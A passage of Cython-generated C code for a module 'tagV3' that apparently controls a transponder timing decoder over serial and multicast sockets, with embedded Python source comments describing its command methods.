__pyx_n_s_byte, __pyx_n_s_compute, __pyx_n_s_i, __pyx_n_s_e); if (unlikely(!__pyx_tuple__33)) __PYX_ERR(0, 310, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__33); __Pyx_GIVEREF(__pyx_tuple__33); __pyx_codeobj__34 = (PyObject*)__Pyx_PyCode_New(2, 0, 6, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__33, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_init, 310, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__34)) __PYX_ERR(0, 310, __pyx_L1_error) __pyx_tuple__35 = PyTuple_Pack(1, ((PyObject*)__pyx_kp_u_)); if (unlikely(!__pyx_tuple__35)) __PYX_ERR(0, 310, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__35); __Pyx_GIVEREF(__pyx_tuple__35); /* "tagV3.py":345 * task = dict([]) * * def createThread(self,d, decoder, name): # <<<<<<<<<<<<<< * p = Thread( target=self.decoder, args=(decoder['device'], decoder['baud'], d['multi_ip'], d['port'])) * return p */ __pyx_tuple__36 = PyTuple_Pack(5, __pyx_n_s_self, __pyx_n_s_d, __pyx_n_s_decoder, __pyx_n_s_name, __pyx_n_s_p); if (unlikely(!__pyx_tuple__36)) __PYX_ERR(0, 345, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__36); __Pyx_GIVEREF(__pyx_tuple__36); __pyx_codeobj__37 = (PyObject*)__Pyx_PyCode_New(4, 0, 5, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__36, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_createThread, 345, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__37)) __PYX_ERR(0, 345, __pyx_L1_error) /* "tagV3.py":349 * return p * * def decoder(self, device, baud, ip, port): # <<<<<<<<<<<<<< * theSer = serial.Serial( device, baud) * if not theSer.is_open: */ __pyx_tuple__38 = PyTuple_Pack(13, __pyx_n_s_self, __pyx_n_s_device, __pyx_n_s_baud, __pyx_n_s_ip, __pyx_n_s_port, __pyx_n_s_theSer, __pyx_n_s_multicast_group, __pyx_n_s_sock, __pyx_n_s_ttl, __pyx_n_s_line, __pyx_n_s_tp, __pyx_n_s_millis, __pyx_n_s_message); if (unlikely(!__pyx_tuple__38)) __PYX_ERR(0, 349, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__38); __Pyx_GIVEREF(__pyx_tuple__38); __pyx_codeobj__39 = (PyObject*)__Pyx_PyCode_New(5, 0, 13, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__38, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_decoder, 349, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__39)) __PYX_ERR(0, 349, __pyx_L1_error) /* "tagV3.py":386 * * # Command Definition * def getStatus( self ): # <<<<<<<<<<<<<< * self.sendCmd( self.cmd['Status'] ) * # response: [STATUS] */ __pyx_tuple__40 = PyTuple_Pack(1, __pyx_n_s_self); if (unlikely(!__pyx_tuple__40)) __PYX_ERR(0, 386, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__40); __Pyx_GIVEREF(__pyx_tuple__40); __pyx_codeobj__41 = (PyObject*)__Pyx_PyCode_New(1, 0, 1, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__40, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_getStatus, 386, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__41)) __PYX_ERR(0, 386, __pyx_L1_error) /* "tagV3.py":389 * self.sendCmd( self.cmd['Status'] ) * # response: [STATUS] * def start( self ): # <<<<<<<<<<<<<< * self.sendCmd( self.cmd['Start'] ) * # response: [DEPART] or none if decoder already started */ __pyx_tuple__42 = PyTuple_Pack(1, __pyx_n_s_self); if (unlikely(!__pyx_tuple__42)) __PYX_ERR(0, 389, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__42); __Pyx_GIVEREF(__pyx_tuple__42); __pyx_codeobj__43 = (PyObject*)__Pyx_PyCode_New(1, 0, 1, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__42, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_start, 389, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__43)) __PYX_ERR(0, 389, __pyx_L1_error) /* "tagV3.py":392 * self.sendCmd( self.cmd['Start'] ) * # response: [DEPART] or none if decoder already started * def setConfig( self , cfg ): # <<<<<<<<<<<<<< * # Update decoder configuration * # command: ESC + 0x08 + 0x08 + [CONFIG] + [CRC] + '>' */ __pyx_tuple__44 = PyTuple_Pack(3, __pyx_n_s_self, __pyx_n_s_cfg, __pyx_n_s_crc); if (unlikely(!__pyx_tuple__44)) __PYX_ERR(0, 392, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__44); __Pyx_GIVEREF(__pyx_tuple__44); __pyx_codeobj__45 = (PyObject*)__Pyx_PyCode_New(2, 0, 3, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__44, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_setConfig, 392, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__45)) __PYX_ERR(0, 392, __pyx_L1_error) /* "tagV3.py":398 * crc = crc16( bytearray( cfg.encode() ) ) * self.sendCmd( self.cmd['Set Config']%(cfg, crc) ) * def setIPConfig( self, cfg ): # <<<<<<<<<<<<<< * # Update decoder IP configuration. Note: Decoder must be stopped * # before issuing this command (why?) */ __pyx_tuple__46 = PyTuple_Pack(3, __pyx_n_s_self, __pyx_n_s_cfg, __pyx_n_s_crc); if (unlikely(!__pyx_tuple__46)) __PYX_ERR(0, 398, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__46); __Pyx_GIVEREF(__pyx_tuple__46); __pyx_codeobj__47 = (PyObject*)__Pyx_PyCode_New(2, 0, 3, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__46, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_setIPConfig, 398, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__47)) __PYX_ERR(0, 398, __pyx_L1_error) /* "tagV3.py":405 * self.sendCmd( self.cmd['Set IP Config']%(cfg, crc) ) * # response: XPORT specific (TBC) * def getConfig( self ): # <<<<<<<<<<<<<< * # Fetch current decoder configuration & identification * # command: ESC + 0x10 */ __pyx_tuple__48 = PyTuple_Pack(1, __pyx_n_s_self); if (unlikely(!__pyx_tuple__48)) __PYX_ERR(0, 405, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__48); __Pyx_GIVEREF(__pyx_tuple__48); __pyx_codeobj__49 = (PyObject*)__Pyx_PyCode_New(1, 0, 1, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__48, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_getConfig, 405, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__49)) __PYX_ERR(0, 405, __pyx_L1_error) /* "tagV3.py":411 * # response: [DECODERCONF] * # * def acknowledge( self ): # <<<<<<<<<<<<<< * # Acknowledge last passing sent by decoder/flag ready for next passing * # command: ESC + 0x11 */ __pyx_tuple__50 = PyTuple_Pack(1, __pyx_n_s_self); if (unlikely(!__pyx_tuple__50)) __PYX_ERR(0, 411, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__50); __Pyx_GIVEREF(__pyx_tuple__50); __pyx_codeobj__51 = (PyObject*)__Pyx_PyCode_New(1, 0, 1, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__50, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_acknowledge, 411, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__51)) __PYX_ERR(0, 411, __pyx_L1_error) /* "tagV3.py":417 * # response: none or [PASSING] * # * def repeat( self ): # <<<<<<<<<<<<<< * # Repeat first unacknowledged passing, else last acknowledged passing * # command: ESC + 0x12 */ __pyx_tuple__52 = PyTuple_Pack(1, __pyx_n_s_self); if (unlikely(!__pyx_tuple__52)) __PYX_ERR(0, 417, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__52); __Pyx_GIVEREF(__pyx_tuple__52); __pyx_codeobj__53 = (PyObject*)__Pyx_PyCode_New(1, 0, 1, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__52, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_repeat, 417, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__53)) __PYX_ERR(0, 417, __pyx_L1_error) /* "tagV3.py":423 * # response: [PASSING] * # * def stop( self ): # <<<<<<<<<<<<<< * # Stop decoder * # command: ESC + 0x13 + '\' */ __pyx_tuple__54 = PyTuple_Pack(1, __pyx_n_s_self); if (unlikely(!__pyx_tuple__54)) __PYX_ERR(0, 423, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__54); __Pyx_GIVEREF(__pyx_tuple__54); __pyx_codeobj__55 = (PyObject*)__Pyx_PyCode_New(1, 0, 1, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__54, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_stop, 423, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__55)) __PYX_ERR(0, 423, __pyx_L1_error) /* "tagV3.py":429 * # response: [STOP] (even if already stopped) * # * def setTime( self , cfg ): # <<<<<<<<<<<<<< * # Update decoder time of day - also sets running time if decoder * # started and config option "Running time to time of decoder" set */ __pyx_tuple__56 = PyTuple_Pack(2, __pyx_n_s_self, __pyx_n_s_cfg); if (unlikely(!__pyx_tuple__56)) __PYX_ERR(0, 429, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__56); __Pyx_GIVEREF(__pyx_tuple__56); __pyx_codeobj__57 = (PyObject*)__Pyx_PyCode_New(2, 0, 2, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__56, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_setTime, 429, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__57)) __PYX_ERR(0, 429, __pyx_L1_error) /* "tagV3.py":436 * # response: none * # * def setDate( self, cfg ): # <<<<<<<<<<<<<< * # Update decoder date * # command: ESC + 0x0a + 0x0a + [SETDATE] + [CRC] + '>' */ __pyx_tuple__58 = PyTuple_Pack(3, __pyx_n_s_self, __pyx_n_s_cfg, __pyx_n_s_crc); if (unlikely(!__pyx_tuple__58)) __PYX_ERR(0, 436, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__58); __Pyx_GIVEREF(__pyx_tuple__58); __pyx_codeobj__59 = (PyObject*)__Pyx_PyCode_New(2, 0, 3, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__58, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_setDate, 436, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__59)) __PYX_ERR(0, 436, __pyx_L1_error) /* "tagV3.py":443 * # response: none * # * def setSTALevel( self, cfg ): # <<<<<<<<<<<<<< * # Set detection level on STA channel * # command: ESC + 0x1e + [SETLEVEL] */ __pyx_tuple__60 = PyTuple_Pack(2, __pyx_n_s_self, __pyx_n_s_cfg); if (unlikely(!__pyx_tuple__60)) __PYX_ERR(0, 443, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__60); __Pyx_GIVEREF(__pyx_tuple__60); __pyx_codeobj__61 = (PyObject*)__Pyx_PyCode_New(2, 0, 2, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__60, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_setSTALevel, 443, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__61)) __PYX_ERR(0, 443, __pyx_L1_error) /* "tagV3.py":449 * # response: none * # * def setBOXLevel( self, cfg ): # <<<<<<<<<<<<<< * # Set Detection level on BOX channel * # command: ESC + 0x1f + [SETLEVEL] */ __pyx_tuple__62 = PyTuple_Pack(2, __pyx_n_s_self, __pyx_n_s_cfg); if (unlikely(!__pyx_tuple__62)) __PYX_ERR(0, 449, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__62); __Pyx_GIVEREF(__pyx_tuple__62); __pyx_codeobj__63 = (PyObject*)__Pyx_PyCode_New(2, 0, 2, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__62, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_setBOXLevel, 449, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__63)) __PYX_ERR(0, 449, __pyx_L1_error) /* "tagV3.py":455 * # response: none * # * def statBXX( self, cfg ): # <<<<<<<<<<<<<< * # Request status on remote decoder with id specified in B * # command: ESC + 0x49 + [B] */ __pyx_tuple__64 = PyTuple_Pack(2, __pyx_n_s_self, __pyx_n_s_cfg); if (unlikely(!__pyx_tuple__64)) __PYX_ERR(0, 455, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__64); __Pyx_GIVEREF(__pyx_tuple__64); __pyx_codeobj__65 = (PyObject*)__Pyx_PyCode_New(2, 0, 2, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__64, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_statBXX, 455, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__65)) __PYX_ERR(0, 455, __pyx_L1_error) /* "tagV3.py":461 * # response: (TBC) * # * def bXXLevel( self ): # <<<<<<<<<<<<<< * # Increment all detection levels by 0x10 (Note 2) * # command: ESC + 0x4e + 0x2b */ __pyx_tuple__66 = PyTuple_Pack(1, __pyx_n_s_self); if (unlikely(!__pyx_tuple__66)) __PYX_ERR(0, 461, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__66); __Pyx_GIVEREF(__pyx_tuple__66); __pyx_codeobj__67 = (PyObject*)__Pyx_PyCode_New(1, 0, 1, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__66, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_bXXLevel, 461, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__67)) __PYX_ERR(0, 461, __pyx_L1_error) /* "tagV3.py":467 * # response: none * * def sendCmd( self, command): # <<<<<<<<<<<<<< * print( command ) * */ __pyx_tuple__68 = PyTuple_Pack(2, __pyx_n_s_self, __pyx_n_s_command); if (unlikely(!__pyx_tuple__68)) __PYX_ERR(0, 467, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__68); __Pyx_GIVEREF(__pyx_tuple__68); __pyx_codeobj__69 = (PyObject*)__Pyx_PyCode_New(2, 0, 2, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__68, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_sendCmd, 467, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__69)) __PYX_ERR(0, 467, __pyx_L1_error) /* "tagV3.py":470 * print( command ) * * def receiveResponse( self, timeout = 0 ): # <<<<<<<<<<<<<< * print( timeout ) * return '' */ __pyx_tuple__70 = PyTuple_Pack(2, __pyx_n_s_self, __pyx_n_s_timeout); if (unlikely(!__pyx_tuple__70)) __PYX_ERR(0, 470, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__70); __Pyx_GIVEREF(__pyx_tuple__70); __pyx_codeobj__71 = (PyObject*)__Pyx_PyCode_New(2, 0, 2, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__70, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_receiveResponse, 470, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__71)) __PYX_ERR(0, 470, __pyx_L1_error) __pyx_tuple__72 = PyTuple_Pack(1, ((PyObject *)__pyx_int_0)); if (unlikely(!__pyx_tuple__72)) __PYX_ERR(0, 470, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__72); __Pyx_GIVEREF(__pyx_tuple__72); __Pyx_RefNannyFinishContext(); return 0; __pyx_L1_error:; __Pyx_RefNannyFinishContext(); return -1; } static int __Pyx_InitGlobals(void) { if (__Pyx_InitStrings(__pyx_string_tab) < 0) __PYX_ERR(0, 1, __pyx_L1_error); __pyx_float_0_1 = PyFloat_FromDouble(0.1); if (unlikely(!__pyx_float_0_1)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_4 = PyInt_FromLong(4); if (unlikely(!__pyx_int_4)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_5 = PyInt_FromLong(5); if (unlikely(!__pyx_int_5)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_6 = PyInt_FromLong(6); if (unlikely(!__pyx_int_6)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_10 = PyInt_FromLong(10); if (unlikely(!__pyx_int_10)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_11 = PyInt_FromLong(11); if (unlikely(!__pyx_int_11)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_12 = PyInt_FromLong(12); if (unlikely(!__pyx_int_12)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_14 = PyInt_FromLong(14); if (unlikely(!__pyx_int_14)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_15 = PyInt_FromLong(15); if (unlikely(!__pyx_int_15)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_16 = PyInt_FromLong(16); if (unlikely(!__pyx_int_16)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_17 = PyInt_FromLong(17); if (unlikely(!__pyx_int_17)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_18 = PyInt_FromLong(18); if (unlikely(!__pyx_int_18)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_20 = PyInt_FromLong(20); if (unlikely(!__pyx_int_20)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_21 = PyInt_FromLong(21); if (unlikely(!__pyx_int_21)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_24 = PyInt_FromLong(24); if (unlikely(!__pyx_int_24)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_25 = PyInt_FromLong(25); if (unlikely(!__pyx_int_25)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_27 = PyInt_FromLong(27); if (unlikely(!__pyx_int_27)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_28 = PyInt_FromLong(28); if (unlikely(!__pyx_int_28)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_30 = PyInt_FromLong(30); if (unlikely(!__pyx_int_30)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_31 = PyInt_FromLong(31); if (unlikely(!__pyx_int_31)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_32 = PyInt_FromLong(32); if (unlikely(!__pyx_int_32)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_33 = PyInt_FromLong(33); if (unlikely(!__pyx_int_33)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_37 = PyInt_FromLong(37); if (unlikely(!__pyx_int_37)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_neg_2 = PyInt_FromLong(-2); if (unlikely(!__pyx_int_neg_2)) __PYX_ERR(0, 1, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; } #if PY_MAJOR_VERSION < 3 PyMODINIT_FUNC inittagV3(void); /*proto*/ PyMODINIT_FUNC inittagV3(void) #else PyMODINIT_FUNC PyInit_tagV3(void); /*proto*/ PyMODINIT_FUNC PyInit_tagV3(void) #endif { PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; __Pyx_RefNannyDeclarations #if CYTHON_REFNANNY __Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); if (!__Pyx_RefNanny) { PyErr_Clear(); __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); if (!__Pyx_RefNanny) Py_FatalError("failed to import 'refnanny' module"); } #endif __Pyx_RefNannySetupContext("PyMODINIT_FUNC PyInit_tagV3(void)", 0); if (__Pyx_check_binary_version() < 0) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) #ifdef __Pyx_CyFunction_USED if (__pyx_CyFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_FusedFunction_USED if (__pyx_FusedFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_Coroutine_USED if (__pyx_Coroutine_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_Generator_USED if (__pyx_Generator_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_StopAsyncIteration_USED if (__pyx_StopAsyncIteration_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif /*--- Library function declarations ---*/ /*--- Threads initialization code ---*/ #if defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS #ifdef WITH_THREAD /* Python build with threading support? */ PyEval_InitThreads(); #endif #endif /*--- Module creation code ---*/ #if PY_MAJOR_VERSION < 3 __pyx_m = Py_InitModule4("tagV3", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); #else __pyx_m = PyModule_Create(&__pyx_moduledef); #endif if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) Py_INCREF(__pyx_d); __pyx_b = PyImport_AddModule(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) #if CYTHON_COMPILING_IN_PYPY Py_INCREF(__pyx_b); #endif if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error); /*--- Initialize various global constants etc. ---*/ if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif if (__pyx_module_is_main_tagV3) { if (PyObject_SetAttrString(__pyx_m, "__name__", __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) } #if PY_MAJOR_VERSION >= 3 { PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) if (!PyDict_GetItemString(modules, "tagV3")) { if (unlikely(PyDict_SetItemString(modules, "tagV3", __pyx_m) < 0)) __PYX_ERR(0, 1, __pyx_L1_error) } } #endif /*--- Builtin init code ---*/ if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) /*--- Constants init code ---*/ if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) /*--- Global init code ---*/ /*--- Variable export code ---*/ /*--- Function export code ---*/ /*--- Type init code ---*/ /*--- Type import code ---*/ /*--- Variable import code ---*/ /*--- Function import code ---*/ /*--- Execution code ---*/ #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif /* "tagV3.py":217 * # Side effects of this have not been tested. * # * from threading import Thread # <<<<<<<<<<<<<< * from crccheck.crc import Crcc16Mcrf4xx as crc16 # use crc16.calc( bytearray( [data].encode() ) ) * import socket */ __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 217, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_s_Thread); __Pyx_GIVEREF(__pyx_n_s_Thread); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_Thread); __pyx_t_2 = __Pyx_Import(__pyx_n_s_threading, __pyx_t_1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 217, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_Thread); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 217, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_Thread, __pyx_t_1) < 0) __PYX_ERR(0, 217, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":218 * # * from threading import Thread * from crccheck.crc import Crcc16Mcrf4xx as crc16 # use crc16.calc( bytearray( [data].encode() ) ) # <<<<<<<<<<<<<< * import socket * import struct */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 218, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_Crcc16Mcrf4xx); __Pyx_GIVEREF(__pyx_n_s_Crcc16Mcrf4xx); PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_Crcc16Mcrf4xx); __pyx_t_1 = __Pyx_Import(__pyx_n_s_crccheck_crc, __pyx_t_2, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 218, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_Crcc16Mcrf4xx); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 218, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_crc16, __pyx_t_2) < 0) __PYX_ERR(0, 218, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":219 * from threading import Thread * from crccheck.crc import Crcc16Mcrf4xx as crc16 # use crc16.calc( bytearray( [data].encode() ) ) * import socket # <<<<<<<<<<<<<< * import struct * import serial */ __pyx_t_1 = __Pyx_Import(__pyx_n_s_socket, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_socket, __pyx_t_1) < 0) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":220 * from crccheck.crc import Crcc16Mcrf4xx as crc16 # use crc16.calc( bytearray( [data].encode() ) ) * import socket * import struct # <<<<<<<<<<<<<< * import serial * */ __pyx_t_1 = __Pyx_Import(__pyx_n_s_struct, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 220, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_struct, __pyx_t_1) < 0) __PYX_ERR(0, 220, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":221 * import socket * import struct * import serial # <<<<<<<<<<<<<< * * # 